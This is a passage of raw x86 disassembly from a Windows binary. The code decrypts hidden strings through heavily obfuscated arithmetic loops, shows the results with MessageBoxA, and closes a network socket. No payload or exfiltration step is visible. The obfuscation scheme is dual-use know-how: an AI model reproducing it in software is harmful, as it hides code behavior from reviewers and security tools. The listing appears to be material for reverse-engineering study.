add dl, 0x91
jmp 0x466096
lea ebp, [eax + 0x159dade5]
mov edx, dword [esp]
add edx, eax
add edx, 0x159dade5
mov dword [esp + 0x10], edx
and ebp, dword [esp]
add ebp, ebp
sub dword [esp + 0x10], ebp
mov edx, dword [esp + 0x10]
add dl, 0xbd
mov dword [esp + 0x10], edx
jmp 0x4660de
cmp esi, dword [esp + 0x30]
je 0x4661ef
lea ebp, [ecx + 8]
cmp esi, ebp
je 0x46621e
cmp esi, edi
mov ebx, dword [esp + 0x10]
jbe 0x466319
lea edi, [eax - 0x6ea47d8e]
mov edx, dword [esp]
lea ebx, [eax + edx]
add ebx, 0x915b8272
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0xe2
mov byte [esp + eax + 0xcc], bl
jmp 0x466225
mov eax, 0xd2420d
jmp 0x466622
xor eax, eax
jmp 0x466622
mov eax, 0x17173fd
jmp 0x466a0a
xor eax, eax
jmp 0x466a0a
mov eax, 0x14d99a0
add eax, esp
add eax, 0xcc
mov dword [esp + 4], eax
movaps xmm0, xmmword [str._s_pIvVtKJk]
movups xmmword [esp + 0x1d0], xmm0
movaps xmm0, xmmword [0x473cf0]
movups xmmword [esp + 0x1e0], xmm0
mov dword [esp + 0x1f0], 0x6d526f5c
mov dword [esp + 0x1f4], 0x21577450
mov word [esp + 0x1f8], 0x7554
mov byte [esp + 0x1fa], 0xda
xorps xmm0, xmm0
movups xmmword [esp + 0x1fb], xmm0
mov dword [esp + 0x20b], 0
call fcn.0046d640
mov edi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp edi, eax
ja 0x46660c
mov dl, byte [esp + eax + 0x1d0]
movzx ebp, dl
lea ebx, [ecx + 1]
cmp edi, ebx
jae 0x46642c
cmp ecx, eax
ja 0x4669e5
lea esi, [edi + ecx]
cmp esi, eax
jbe 0x466435
mov dword [esp], esi
lea esi, [ecx + 4]
cmp edi, esi
je 0x466523
lea esi, [ecx + 0x28]
cmp edi, esi
je 0x466542
lea esi, [ecx + 8]
cmp edi, esi
jne 0x466554
lea esi, [eax + 0xc004ff8]
lea edx, [eax + ebp]
add edx, 0xc004ff8
and esi, ebp
add esi, esi
sub edx, esi
add dl, 0x38
jmp 0x4664eb
jne 0x466457
mov ebx, ecx
jmp 0x4664be
cmp esi, 0x10
je 0x46645e
mov dword [esp], esi
cmp edi, ebx
je 0x466523
lea esi, [ecx + 2]
cmp edi, esi
jne 0x466575
mov ebx, ecx
jmp 0x466542
lea esi, [ecx + 2]
cmp edi, esi
jne 0x4664c7
lea esi, [eax + 0x1a84b3b2]
lea edx, [eax + ebp]
add edx, 0x1a84b3b2
and esi, ebp
add esi, esi
sub edx, esi
add dl, 0x22
mov byte [esp + eax + 0x1d0], dl
movzx edx, dl
not ecx
add ecx, eax
mov esi, ecx
sub esi, edx
mov dword [esp], edi
mov edi, ebp
lea ebp, [esi + 0x51cb5348]
lea eax, [esi + edi]
add eax, 0x51cb5348
and ebp, edi
mov edi, dword [esp]
add ebp, ebp
sub eax, ebp
add al, 8
mov byte [esp + esi + 0x1d0], al
add edx, edi
inc edi
sub ecx, edx
mov dl, byte [esp + ecx + 0x1ce]
add ecx, 0xfffffffe
mov eax, ecx
movzx ecx, dl
add ecx, ebx
add eax, ecx
jmp 0x466543
lea esi, [ecx + 3]
cmp edi, esi
jne 0x466518
lea esi, [eax - 0x3169e562]
lea edx, [eax + ebp]
add edx, 0xce961a9e
and esi, ebp
add esi, esi
sub edx, esi
add dl, 0xae
add edi, ecx
mov dword [esp], edi
lea esi, [eax - 0x54088b7a]
lea ebx, [eax + ebp]
add ebx, 0xabf77486
and esi, ebp
add esi, esi
sub ebx, esi
add bl, dl
add bl, 0x56
mov byte [esp + eax + 0x1d0], bl
mov edi, dword [esp]
movzx edx, dl
not edx
add eax, edx
jmp 0x466545
lea esi, [ecx + 8]
cmp edi, esi
jne 0x4663dc
lea edx, [eax + 0x3d6a355a]
lea ecx, [eax + ebp]
add ecx, 0x3d6a355a
and edx, ebp
add edx, edx
sub ecx, edx
add cl, 0x8a
mov byte [esp + eax + 0x1d0], cl
dec eax
mov ecx, ebx
inc eax
cmp eax, 0x3f
jb 0x4663c3
jmp 0x466616
lea esi, [ecx + 2]
cmp edi, esi
jne 0x466599
lea esi, [eax - 0x16e531b0]
lea edx, [eax + ebp]
add edx, 0xe91ace50
and esi, ebp
add esi, esi
sub edx, esi
add dl, 0xd0
jmp 0x46650f
lea esi, [ecx + 4]
cmp edi, esi
jne 0x4665c7
lea esi, [eax + 0x5496429a]
lea edx, [eax + ebp]
add edx, 0x5496429a
and esi, ebp
add esi, esi
sub edx, esi
add dl, 0xca
jmp 0x46650c
lea esi, [ecx + 5]
cmp edi, esi
je 0x46642e
lea edi, [ecx + 0x61]
lea edx, [ecx + 0x8b]
add ecx, 0x94
mov eax, 0
cmp edi, ecx
mov ecx, edx
jae 0x4663c3
jmp 0x4663b3
lea esi, [ecx + 3]
cmp edi, esi
je 0x46642e
lea edx, [ecx + 5]
cmp edi, edx
je 0x466450
lea edx, [ecx + 7]
cmp edi, edx
je 0x466523
lea esi, [eax + 0x37469f96]
lea edx, [eax + ebp]
add edx, 0x37469f96
and esi, ebp
add esi, esi
sub edx, esi
add dl, 0xe6
mov byte [esp + eax + 0x1d0], dl
jmp 0x466545
mov eax, 0xf9d85e
jmp 0x4669ea
xor eax, eax
jmp 0x4669ea
mov eax, 0x146af2c
lea esi, [esp + eax]
add esi, 0x1d0
xor edi, edi
lea ebx, [esp + 0x54]
mov dword [ebx], edi
mov dword [ebx + 0x10], edi
mov dword [ebx + 0x14], 0xf
mov byte [ebx], 0
push esi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov ecx, ebx
push eax
push esi
call fcn.00450e50
movaps xmm0, xmmword [0x473b60]
movups xmmword [esp + 0x1d0], xmm0
mov dword [esp + 0x1e0], 0xa5a7cec8
mov byte [esp + 0x1e4], 0x52
xorps xmm0, xmm0
movups xmmword [esp + 0x1e5], xmm0
mov dword [esp + 0x1f6], edi
mov dword [esp + 0x1f2], edi
call fcn.0046d640
mov edi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp edi, eax
ja 0x466883
mov dl, byte [esp + eax + 0x1d0]
movzx ebp, dl
lea ebx, [ecx + 1]
cmp edi, ebx
jae 0x4666e0
cmp ecx, eax
ja 0x46688e
lea esi, [ecx + 5]
cmp edi, esi
jae 0x466722
lea edx, [edi + ecx]
cmp edx, eax
jbe 0x46673f
lea edx, [ecx + 0x20]
cmp edi, edx
je 0x466743
add ecx, 0xa
cmp edi, ecx
je 0x466762
jmp 0x46668d
je 0x466719
lea esi, [ecx + 2]
cmp edi, esi
jne 0x466774
lea esi, [eax - 0x248e90d4]
lea edx, [eax + ebp]
add edx, 0xdb716f2c
and esi, ebp
add esi, esi
sub edx, esi
add dl, 0xcc
mov byte [esp + eax + 0x1d0], dl
sub eax, edi
inc edi
mov dl, byte [esp + eax + 0x1ce]
add eax, 0xfffffffe
movzx edx, dl
add edx, ecx
add eax, edx
jmp 0x466765
cmp edi, ebx
je 0x466743
mov dword [esp], ebp
lea ebp, [ecx + 2]
cmp edi, ebp
je 0x466762
lea ebp, [ecx + 3]
cmp edi, ebp
jne 0x4667d3
mov ebx, ecx
jmp 0x466762
cmp edi, ebx
jne 0x466787
lea edx, [eax + 0x327808d7]
lea ecx, [eax + ebp]
add ecx, 0x327808d7
and edx, ebp
add edx, edx
sub ecx, edx
add cl, 0x1f
mov byte [esp + eax + 0x1d0], cl
dec eax
mov ecx, ebx
inc eax
cmp eax, 0x2a
jb 0x46669d
jmp 0x46688a
lea esi, [ecx + 4]
cmp edi, esi
jne 0x4667c6
mov esi, 0xa6f17b9e
mov edx, 0xbb
jmp 0x4667e7
lea edx, [ecx + 2]
cmp edi, edx
je 0x466762
lea edx, [ecx + 3]
cmp edi, edx
jne 0x466804
lea esi, [eax - 0x798d3ee5]
lea edx, [eax + ebp]
add edx, 0x8672c11b
and esi, ebp
add esi, esi
sub edx, esi
add dl, 0x43
mov byte [esp + eax + 0x1d0], dl
movzx edx, dl
not ecx
add ecx, eax
sub ecx, edx
mov eax, ecx
mov ecx, ebx
jmp 0x4666ed
lea esi, [ecx + 6]
cmp edi, esi
jne 0x4666b6
jmp 0x466762
lea ebp, [ecx + 4]
cmp edi, ebp
jne 0x466821
mov esi, 0x4ad714a6
mov edx, 0xf
mov ebp, dword [esp]
add edx, eax
and edx, ebp
add edx, edx
add ebp, eax
add ebp, esi
sub ebp, edx
add edi, ecx
not ebp
or ebp, 0xffffff00
add eax, ebp
jmp 0x466765
lea edx, [ecx + 4]
cmp edi, edx
jne 0x46683b
lea edx, [eax + 0xfa]
and edx, ebp
add edx, edx
add ebp, eax
sub ebp, edx
add ebp, 0xe1893224
jmp 0x4667f5
cmp edi, esi
mov ebp, dword [esp]
jne 0x466873
lea edx, [eax + 0x31]
and edx, ebp
add edx, edx
add ebp, eax
sub ebp, edx
add ebp, 0xf4d470da
jmp 0x4667f5
lea edx, [ecx + 6]
cmp edi, edx
je 0x46673b
cmp ecx, 7
ja 0x466743
lea esi, [eax + 0x54feae11]
lea edx, [eax + ebp]
add edx, 0x54feae11
and esi, ebp
add esi, esi
sub edx, esi
add dl, 0x89
mov byte [esp + eax + 0x1d0], dl
jmp 0x466765
lea esi, [ecx + 6]
cmp edi, esi
jne 0x4666c5
jmp 0x466719
mov eax, 0x11ba17d
jmp 0x466893
xor eax, eax
jmp 0x466893
mov eax, 0x15cf36c
lea ebx, [esp + eax]
add ebx, 0x1d0
push ebx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov esi, eax
mov ebp, dword [esp + 0x64]
mov edi, dword [esp + 0x68]
mov eax, edi
sub eax, ebp
cmp eax, esi
jae 0x46698e
mov eax, closesocket
sub eax, ebp
cmp eax, esi
jb 0x46d62f
mov dword [esp], closesocket
mov dword [esp + 8], ebx
mov ebx, esi
add ebx, ebp
mov ecx, ebx
or ecx, 0xf
mov eax, closesocket
mov dword [esp + 4], ebx
js 0x466915
mov edx, edi
shr edx, 1
mov ebx, edx
xor ebx, 0x7fffffff
cmp ebx, edi
mov ebx, dword [esp + 4]
jb 0x466915
add edx, edi
cmp ecx, edx
cmovae edx, ecx
lea eax, [edx + 1]
cmp eax, 0x1000
jb 0x46c6a6
mov dword [esp], edx
push eax
call fcn.0040130b
add esp, 4
mov ecx, dword [esp]
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ecx
cmp edi, 0x10
jb 0x4669bb
mov ecx, dword [esp + 0x54]
push ebp
mov dword [esp + 4], ecx
push ecx
push eax
mov ebx, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, ebx
push esi
push dword [esp + 0xc]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov esi, ebx
mov eax, dword [esp + 4]
mov byte [ebx + eax], 0
lea ecx, [edi + 1]
cmp ecx, 0x1000
jb 0x467070
mov ecx, dword [esp]
mov eax, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, eax
cmp ecx, 0x20
jae 0x46d634
add edi, 0x24
mov ecx, edi
jmp 0x467073
mov eax, ebx
mov ebx, esi
add ebx, ebp
mov dword [esp + 0x64], ebx
cmp edi, 0x10
lea edi, [esp + 0x54]
jb 0x4669a5
mov edi, dword [esp + 0x54]
add ebp, edi
push esi
push eax
push ebp
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [edi + ebx], 0
jmp 0x467083
lea ecx, [esp + 0x54]
push ebp
push ecx
push eax
mov edi, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, edi
push esi
push dword [esp + 0xc]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [edi + ebx], 0
jmp 0x46707f
mov eax, 0x17338c8
add eax, esp
add eax, 0x1d0
xor ecx, ecx
push ecx
push dword [esp + 8]
push eax
push ecx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x467058
mov eax, 0x163d96c
add eax, esp
add eax, 0xcc
mov dword [esp + 8], eax
movaps xmm0, xmmword [0x473cb0]
movups xmmword [esp + 0x1d0], xmm0
movaps xmm0, xmmword [0x473cc0]
movups xmmword [esp + 0x1e0], xmm0
movaps xmm0, xmmword [0x473cd0]
movups xmmword [esp + 0x1f0], xmm0
mov dword [esp + 0x200], 0xd3e6d126
mov word [esp + 0x204], 0xade6
xor eax, eax
mov dword [esp + 0x20a], eax
mov dword [esp + 0x206], eax
mov dword [esp + 0x20d], eax
call fcn.0046d640
mov edi, dword [eax]
call fcn.0046d646
mov ebp, dword [eax]
xor eax, eax
cmp edi, eax
ja 0x467028
movzx edx, byte [esp + eax + 0x1d0]
lea esi, [ebp + 1]
cmp edi, esi
jae 0x466b07
lea ecx, [eax - 0xb32acbd]
lea ebx, [eax + edx]
add ebx, 0xf4cd5343
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x2b
cmp ebp, eax
ja 0x467033
lea ecx, [ebp + 8]
cmp edi, ecx
jae 0x466b26
mov dword [esp], ecx
lea ecx, [eax + 0x14d7d47f]
lea ebx, [eax + edx]
add ebx, 0x14d7d47f
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x87
lea ecx, [edi + ebp]
cmp ecx, eax
jbe 0x466b96
lea ecx, [ebp + 9]
cmp edi, ecx
jne 0x466caa
lea ecx, [eax + 0x3039c6ca]
lea ebx, [eax + edx]
add ebx, 0x3039c6ca
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x7a
jmp 0x466b46
jne 0x466b6a
lea ecx, [eax - 0x21980637]
lea ebx, [eax + edx]
add ebx, 0xde67f9c9
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x81
jmp 0x466c49
cmp edi, esi
jne 0x466c52
lea ecx, [eax - 0x18d84fb]
lea ebx, [eax + edx]
add ebx, 0xfe727b05
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xdd
lea ebp, [eax + 0x7e9c7ff5]
lea ecx, [edx + eax]
add ecx, 0x7e9c7ff5
and ebp, edx
add ebp, ebp
sub ecx, ebp
add cl, 0x4d
mov byte [esp + eax + 0x1d0], cl
jmp 0x466c7a
lea ecx, [ebp + 2]
cmp edi, ecx
jne 0x466c82
mov dword [esp + 4], esi
mov dword [esp], edi
lea ecx, [eax - 0x4e62b92b]
lea ebx, [eax + edx]
add ebx, 0xb19d46d5
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x2d
jmp 0x466be9
lea ecx, [ebp + 0x40]
cmp edi, ecx
jae 0x466cd2
lea ecx, [eax - 0xb32acbd]
lea ebx, [eax + edx]
add ebx, 0xf4cd5343
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x2b
lea ecx, [edi + ebp]
cmp ecx, 0x80
jne 0x466d91
mov dword [esp + 4], esi
mov dword [esp], edi
lea ecx, [eax + 0x5d0479be]
lea ebx, [eax + edx]
add ebx, 0x5d0479be
and ecx, edx
add ecx, ecx
sub ebx, ecx
sub bl, dl
add bl, 0xce
lea esi, [eax + 0x51d1cd01]
lea ecx, [edx + eax]
add ecx, 0x51d1cd01
and esi, edx
add esi, esi
sub ecx, esi
add cl, 0xf9
mov byte [esp + eax + 0x1d0], cl
movzx ecx, cl
not ebp
add ebp, eax
mov esi, ebp
sub esi, ecx
lea edi, [esi + 0x469f2044]
lea eax, [esi + edx]
add eax, 0x469f2044
and edi, edx
add edi, edi
sub eax, edi
add al, 0x24
mov byte [esp + esi + 0x1d0], al
mov edi, dword [esp]
add ecx, edi
inc edi
sub ebp, ecx
movzx edx, byte [esp + ebp + 0x1ce]
add ebp, 0xfffffffe
mov eax, ebp
mov ebp, dword [esp + 4]
add edx, ebp
add eax, edx
jmp 0x466d82
mov dword [esp], ecx
lea ecx, [ebp + 2]
cmp edi, ecx
jne 0x466d0c
lea ecx, [eax - 0x2e5837ef]
lea ebx, [eax + edx]
add ebx, 0xd1a7c811
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x89
mov esi, ebp
dec eax
mov ebp, esi
jmp 0x466d82
lea ecx, [ebp + 3]
cmp edi, ecx
jne 0x466d31
lea ecx, [eax - 0x7b2d6c1f]
lea ebx, [eax + edx]
add ebx, 0x84d293e1
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xd9
jmp 0x466d75
lea ecx, [ebp + 3]
cmp edi, ecx
jne 0x466db4
lea ecx, [eax - 0x295b9f1e]
lea ebx, [eax + edx]
add ebx, 0xd6a460e2
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xd2
jmp 0x466d75
mov edi, 0x40
lea ecx, [ebp - 0x38]
cmp ecx, 7
ja case.0x466ce3.57
jmp dword [ecx*4 + 0x473d1c]
lea ecx, [eax + 0x7684dd2e]
lea ebx, [eax + edx]
add ebx, 0x7684dd2e
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xbe
mov edi, 0x40
jmp 0x466b46
lea ecx, [ebp + 3]
cmp edi, ecx
jne 0x466dd5
lea ecx, [eax - 0x44bd9169]
lea ebx, [eax + edx]
add ebx, 0xbb426e97
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xdf
jmp 0x466d54
lea ecx, [ebp + 4]
cmp edi, ecx
jne 0x466aad
lea ecx, [eax + 0x6e6d3a67]
lea ebx, [eax + edx]
add ebx, 0x6e6d3a67
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x2f
lea esi, [eax + 0x6837267b]
lea ecx, [edx + eax]
add ecx, 0x6837267b
and esi, edx
add esi, esi
sub ecx, esi
add cl, bl
add cl, 0xa3
mov byte [esp + eax + 0x1d0], cl
add edi, ebp
mov ecx, edi
movzx edx, bl
not edx
add eax, edx
mov edi, ecx
inc eax
cmp eax, 0x41
jb 0x466a7e
jmp 0x46702f
cmp edi, esi
jne 0x466df9
lea ecx, [eax + 0x3e877d7d]
lea ebx, [eax + edx]
add ebx, 0x3e877d7d
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x95
mov edi, esi
jmp 0x466b46
lea ecx, [ebp + 0xa]
cmp edi, ecx
jne 0x466e23
lea ecx, [eax - 0x3fc0f898]
lea ebx, [eax + edx]
add ebx, 0xc03f0768
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x28
jmp 0x466d77
lea ecx, [ebp + 5]
cmp edi, ecx
jne 0x466e4b
lea ecx, [eax - 0x5b22eae3]
lea ebx, [eax + edx]
add ebx, 0xa4dd151d
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x35
jmp 0x466d75
lea ecx, [ebp + 2]
cmp edi, ecx
jne 0x466f05
mov edi, ecx
lea ecx, [eax + 0x11bcca89]
lea ebx, [eax + edx]
add ebx, 0x11bcca89
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x41
jmp 0x466c78
lea ecx, [ebp + 2]
cmp edi, ecx
jne 0x46700d
lea ecx, [eax + 0x7d0efafa]
lea ebx, [eax + edx]
add ebx, 0x7d0efafa
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x2a
jmp 0x466c49
lea ecx, [ebp + 9]
cmp edi, ecx
jne 0x466ad7
lea ecx, [eax + 0x4b47af35]
lea ebx, [eax + edx]
add ebx, 0x4b47af35
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x8d
jmp 0x466c49
lea ecx, [eax - 0x7315c958]
lea ebx, [eax + edx]
add ebx, 0x8cea36a8
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x68
mov esi, 0x3c
mov edi, 0x40
jmp 0x466c7a
lea ecx, [eax - 0x2fe5bcea]
lea ebx, [eax + edx]
add ebx, 0xd01a4316
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x66
mov edi, 0x40
jmp 0x466d75
lea ecx, [eax - 0x19806370]
lea ebx, [eax + edx]
add ebx, 0xe67f9c90
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x10
mov ecx, 0x40
jmp 0x466d79
lea ecx, [eax + 0x29afa8fe]
lea ebx, [eax + edx]
add ebx, 0x29afa8fe
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xe
mov ebp, 0x3f
mov edi, 0x40
jmp 0x466c49
mov ecx, dword [esp]
cmp edi, ecx
jne 0x466f2b
mov edi, ecx
lea ecx, [eax - 0x74a34e53]
lea ebx, [eax + edx]
add ebx, 0x8b5cb1ad
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x45
jmp 0x466c49
cmp edi, 0x29
ja 0x466f60
lea ecx, [ebp + 3]
cmp edi, ecx
jbe 0x466f7f
lea ecx, [eax + 0x69c4ab76]
lea ebx, [eax + edx]
add ebx, 0x69c4ab76
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xc6
cmp ebp, 9
ja 0x466f9e
mov byte [esp + eax + 0x1d0], bl
jmp 0x466d82
lea ecx, [eax + 0x7369d338]
lea ebx, [eax + edx]
add ebx, 0x7369d338
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, dl
add bl, 0x78
jmp 0x466d54
jne 0x466fbd
lea esi, [eax + 0x102f458e]
lea ebx, [eax + edx]
add ebx, 0x102f458e
and esi, edx
add esi, esi
sub ebx, esi
add bl, 0x1e
jmp 0x466d79
lea ecx, [eax - 0x7630d34e]
lea ebx, [eax + edx]
add ebx, 0x89cf2cb2
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, bl
add bl, 0x44
jmp 0x466b46
lea ecx, [ebp + 5]
cmp edi, ecx
jne 0x466fe3
lea esi, [eax - 0x63613ec]
lea ebx, [eax + edx]
add ebx, 0xf9c9ec14
and esi, edx
add esi, esi
sub ebx, esi
add bl, 0x74
mov edi, ecx
jmp 0x466d75
lea ecx, [ebp + 4]
cmp edi, ecx
jne 0x466f4f
lea edi, [eax - 0x5fcb79d4]
lea ebx, [eax + edx]
add ebx, 0xa034862c
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0xcc
mov edi, ecx
jmp 0x466b46
lea ebx, [eax + edx]
add ebx, 0x45119b49
add eax, 0x45119b49
and eax, edx
add eax, eax
sub ebx, eax
inc bl
jmp 0x466a6e
mov eax, 0x1014447
jmp 0x467038
xor eax, eax
jmp 0x467038
mov eax, 0x173f104
add eax, esp
add eax, 0x1d0
xor ecx, ecx
push ecx
push dword [esp + 0xc]
push eax
push ecx
call dword [sym.imp.USER32.dll_MessageBoxA]
push dword [esp + 0x2c]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor esi, esi
inc esi
mov eax, esi
add esp, 0x7a0
pop esi
pop edi
pop ebx
pop ebp
ret 0x10
mov eax, dword [esp]
push ecx
push eax
call fcn.00471733
add esp, 8
mov edi, esi
mov dword [esp + 0x54], edi
movaps xmm0, xmmword [0x473b70]
movups xmmword [esp + 0x1d0], xmm0
movaps xmm0, xmmword [0x473b80]
movups xmmword [esp + 0x1e0], xmm0
movaps xmm0, xmmword [0x473b90]
movups xmmword [esp + 0x1f0], xmm0
mov dword [esp + 0x200], 0xb2b6afa9
mov dword [esp + 0x204], 0x90b98a6
mov byte [esp + 0x208], 0x14
xor eax, eax
mov dword [esp + 0x20d], eax
mov dword [esp + 0x209], eax
mov dword [esp + 0x210], eax
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x467453
mov dl, byte [esp + eax + 0x1d0]
movzx edi, dl
lea ebx, [ecx + 1]
cmp esi, ebx
jae 0x467135
cmp ecx, eax
ja 0x46745e
mov dword [esp], ebx
mov ebx, edi
lea ebp, [esi + ecx]
cmp ebp, eax
jbe 0x46716e
lea edx, [ecx + 4]
cmp esi, edx
jne 0x467208
mov ebx, dword [esp]
jmp 0x467312
je 0x467255
lea ebp, [ecx + 3]
cmp esi, ebp
je 0x4671ae
lea ebp, [ecx + 5]
cmp esi, ebp
jne 0x46729d
lea ebx, [eax - 0x2c4757be]
lea edx, [eax + edi]
add edx, 0xd3b8a842
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x32
add esi, ecx
mov ebp, esi
jmp 0x4672c9
lea edi, [ecx + 6]
mov dword [esp + 8], edi
cmp esi, edi
jae 0x467250
mov dword [esp + 4], ebp
lea ebp, [eax + 0x41caf806]
mov edi, ebx
add ebx, eax
add ebx, 0x41caf806
and ebp, edi
add ebp, ebp
sub ebx, ebp
add bl, 0xd6
mov dword [esp + 0xc], ebx
mov ebp, dword [esp + 4]
cmp ebp, 0x64
mov ebx, dword [esp]
jne 0x467261
lea ebp, [eax + 0x7fd5aa82]
lea edx, [edi + eax]
add edx, 0x7fd5aa82
and ebp, edi
add ebp, ebp
sub edx, ebp
add dl, 0x72
mov byte [esp + eax + 0x1d0], dl
movzx edx, dl
not ecx
add ecx, eax
sub ecx, edx
mov eax, ecx
lea edx, [eax - 0x3e5f5d78]
lea ecx, [eax + edi]
add ecx, 0xc1a0a288
and edx, edi
add edx, edx
sub ecx, edx
add cl, 0x48
mov byte [esp + eax + 0x1d0], cl
sub eax, esi
inc esi
mov dl, byte [esp + eax + 0x1ce]
add eax, 0xfffffffe
mov ecx, ebx
jmp 0x467255
lea edx, [ecx + 8]
cmp esi, edx
jne 0x4672a8
lea esi, [eax - 0x30079d48]
mov edi, ebx
lea edx, [eax + ebx]
add edx, 0xcff862b8
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0xf8
lea esi, [eax - 0x3c0458a]
lea ebx, [eax + edi]
add ebx, 0xfc3fba76
and esi, edi
add esi, esi
sub ebx, esi
add bl, dl
add bl, 0xc6
mov byte [esp + eax + 0x1d0], bl
jmp 0x4672c9
cmp esi, dword [esp]
jne 0x4672d4
movzx edx, dl
add edx, ecx
add eax, edx
jmp 0x467315
cmp esi, ebx
je 0x4672f3
mov dword [esp + 4], ebp
lea ebp, [ecx + 3]
cmp esi, ebp
je 0x4672a4
lea ebp, [ecx + 2]
cmp esi, ebp
jne 0x4673b1
lea esi, [eax + 0x3f4ac9aa]
lea edx, [eax + edi]
add edx, 0x3f4ac9aa
and esi, edi
add esi, esi
sub edx, esi
add dl, 0x5a
mov ebp, dword [esp + 4]
jmp 0x4672c9
lea ebp, [ecx + 4]
cmp esi, ebp
jne 0x4672e8
mov ebx, ecx
jmp 0x467312
lea edx, [ecx + 0x41]
cmp esi, edx
mov edi, ebx
jne 0x467324
lea esi, [eax + 0x538e52c4]
lea edx, [eax + edi]
add edx, 0x538e52c4
and esi, edi
add esi, esi
sub edx, esi
add dl, 0xa4
movzx edx, dl
not edx
add eax, edx
mov esi, ebp
jmp 0x467315
mov edi, ebx
mov dword [esp + 4], ebp
lea ebp, [ecx + 2]
cmp esi, ebp
jne 0x467348
mov ebx, ecx
jmp 0x4671d8
lea ebp, [ecx + 7]
cmp esi, ebp
jne 0x46710e
lea edx, [eax + 0x78a9ca6a]
lea ecx, [edi + eax]
add ecx, 0x78a9ca6a
and edx, edi
add edx, edx
sub ecx, edx
add cl, 0x1a
mov byte [esp + eax + 0x1d0], cl
dec eax
mov ecx, ebx
inc eax
cmp eax, 0x44
jb 0x4670f5
jmp 0x46745a
lea edx, [ecx + 0x10]
cmp esi, edx
jne 0x46736c
lea ebx, [eax - 0x28dbbd30]
lea edx, [eax + edi]
add edx, 0xd72442d0
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x50
jmp 0x467167
lea ebp, [ecx + 3]
cmp esi, ebp
jne 0x467389
lea ebx, [eax + 0x560e8120]
lea edx, [eax + edi]
add edx, 0x560e8120
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x20
jmp 0x467167
mov ebx, dword [esp]
cmp esi, ebx
je 0x4671ae
lea edx, [ecx + 0x40]
mov ebx, ecx
cmp esi, edx
je 0x4671d8
jmp 0x4670e5
lea ebp, [ecx + 5]
cmp esi, ebp
jne 0x4673d4
lea esi, [eax + 0x5d3a6138]
lea edx, [eax + edi]
add edx, 0x5d3a6138
and esi, edi
add esi, esi
sub edx, esi
add dl, 0x78
mov ebp, dword [esp + 4]
jmp 0x46722d
cmp esi, dword [esp + 8]
jne 0x4673fc
lea ebx, [eax - 0x3d1f464a]
lea edx, [eax + edi]
add edx, 0xc2e0b9b6
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 6
jmp 0x467167
lea ebp, [ecx + 7]
cmp esi, ebp
je 0x4672a4
lea ebp, [eax + 0x65a6587e]
lea ebx, [eax + edi]
add ebx, 0x65a6587e
and ebp, edi
add ebp, ebp
sub ebx, ebp
add bl, 0x8e
jmp 0x46719a
lea ebp, [ecx + 7]
cmp esi, ebp
mov ebp, dword [esp + 4]
je 0x4671ae
cmp esi, 0x1f
ja 0x467434
lea edx, [ecx + 5]
cmp esi, edx
je 0x467312
cmp ecx, 7
ja 0x4672f3
mov edx, dword [esp + 0xc]
mov byte [esp + eax + 0x1d0], dl
jmp 0x467315
lea esi, [eax - 0x458b3d90]
lea ebx, [eax + edi]
add ebx, 0xba74c270
and esi, edi
add esi, esi
sub ebx, esi
add dl, bl
add dl, 0xf0
jmp 0x46722d
mov eax, 0xe99c0e
jmp 0x467463
xor eax, eax
jmp 0x467463
mov eax, 0x15ea408
lea edi, [esp + eax]
add edi, 0x1d0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov esi, eax
mov ebp, dword [esp + 0x64]
mov ebx, dword [esp + 0x68]
mov eax, ebx
sub eax, ebp
cmp eax, esi
jae 0x467557
mov eax, closesocket
